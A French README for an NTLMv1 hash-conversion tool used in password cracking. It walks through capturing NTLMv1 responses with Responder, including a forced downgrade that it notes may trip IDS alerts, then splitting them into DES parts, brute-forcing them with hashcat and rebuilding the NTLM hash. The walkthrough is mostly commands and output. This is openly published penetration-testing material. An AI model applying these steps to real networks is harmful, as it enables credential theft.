
NTLMv1 Multitool
Cet outil convertit les hash NTLMv1 en NTLM, ou plus précisément il formate les réponses au défi NTLMv1 dans un format pouvant être craqué avec le mode 14000 de hashcat.
Si vous spécifiez --ct3, l’outil calcule les 4 derniers caractères du hash NTLM pour vous. Si vous spécifiez --json, alors --ct3 est implicite et le résultat est renvoyé sous l’élément pt3, par exemple :
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
Enfin, dans cette mise à jour, j’ai déplacé les fonctions dans main() afin que vous puissiez simplement importer le module pour une utilisation directe.
J’ai ajouté 2 nouvelles options, --hashcat et --hcutils, qui définissent respectivement le chemin vers votre hashcat et vos hashcat-utils afin que vous puissiez faire un copier-coller direct depuis l’outil.
Vous lanceriez l’outil comme ceci si votre répertoire hashcat se trouvait dans ~/git/hashcat et votre répertoire hashcat-utils dans ~/git/hashcat-utils :
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
Oui, c’est normalement compatible Python 3, et j’ai également fusionné ntlmv1 et ntlmv1-ess.
Multitool NTLMv1
Cet outil modifie les hash NTLMv1/NTLMv1-ESS/MSCHAPv2 afin qu’ils puissent être craqués avec le mode DES 14000 de hashcat.
Cet outil est basé sur les travaux d’atom de l’équipe Hashcat https://hashcat.net/forum/thread-5832.html
Il est également basé sur https://hashcat.net/forum/thread-5912.html et https://www.youtube.com/watch?v=LIHACAct2vo
Installez l’outil de nouvelle génération ntlmv1_nextgen.py comme commande globale ntlmv1-multi avec uv :
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
Ou exécutez-le directement depuis le dépôt sans l’installer :
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
Le projet fournit un pyproject.toml (Python 3.14+, dépendance pycryptodome), donc uv résout tout pour vous ; le script original ntlmv1.py fonctionne toujours en autonome avec n’importe quel interpréteur Python 3.
ntlmv1_nextgen.py)ntlmv1_nextgen.py (installé comme commande ntlmv1-multi) est l’analyseur moderne. Il accepte les hash NTLMv1, les blobs $99$ et MSCHAPv2, gère automatiquement ESS, et peut réaliser la conversion complète NTLMv1 -> NTLM à partir d’un potfile craqué en une seule étape. Options disponibles :
| Option | Description |
|---|---|
--ntlmv1 <hash> | Hash NTLMv1 au format Responder (user::host:LM:NT:challenge). |
--99 <blob> | Blob base64 au style $99$. |
--mschapv2 <hash> | Hash MSCHAPv2 au format John the Ripper. |
--nthash <hex> | Hash NTLM de 32 caractères ; dérive les clés DES et les candidats hashcat. |
--password <pw> | Dérive les clés DES --key1/--key2 à partir d’un mot de passe connu. |
--key1 <hex> / --key2 <hex> | Fournit directement les clés DES 16 hex pour CT1/CT2 (prioritaires sur --potfile). |
--potfile <path> | Potfile hashcat/rainbowcrackalack des clés du mode 14000 craquées ; récupère automatiquement key1/key2 pour terminer la conversion NTLMv1 -> NTLM. |
--hashcat | Émet les chaînes au format hashcat pour CT1/CT2. |
--json | Sortie JSON uniquement (implique le calcul CT3). |
Pour capturer, utilisez responder avec l’option --lm. Sans --lm, vous activez ESS, ce qui prendra plus de temps à craquer. Une nouvelle option est également disponible, --disable-ess, qui tente de désactiver ESS et de forcer la rétrogradation. Essayez d’abord --disable-ess et si cela échoue, essayez --lm. Si vous utilisez --disable-ess ou --lm, assurez-vous que votre défi client est 1122334455667788 pour utiliser le FPGA ; cela peut toutefois déclencher certaines protections IDS/IPS réseau si elles voient ce trafic.
La capture ressemblera à ceci.
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
La partie hash ressemble à ceci :
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Utilisez donc le multitool comme ceci (il est également compatible Python 2) :
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Il produira les données suivantes sans modifier les défis serveur, etc.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Le mot de passe utilisé dans ce cas est « password » et nous pouvons vérifier le hash NTLM avec
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
Avec l’utilitaire hashcat-utils ct3_to_ntlm.bin écrit par atom, vous pouvez calculer les 4 derniers caractères du hash NTLM à partir du défi NTLMv1, que l’outil affiche :
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
Cela correspond à la fin du hash NTLM, nous sommes donc prêts. L’étape suivante consiste à craquer les hash avec hashcat, il faut donc créer un fichier hashes.txt contenant :
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
Pour craquer cela avec hashcat, vous utilisez
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
Note importante : hashcat renvoie des clés DES et non des clés NTLM. Vous devrez les convertir en NTLM à l’aide de deskey_to_ntlm.pl depuis Hashcat Utils, ce qui peut être fait avec
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
Vous combinez ensuite les deux clés NTLM avec la troisième partie du mot de passe, calculée par (ce que l’outil affiche) :
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
Additionnez ces 3 éléments et vous êtes prêt.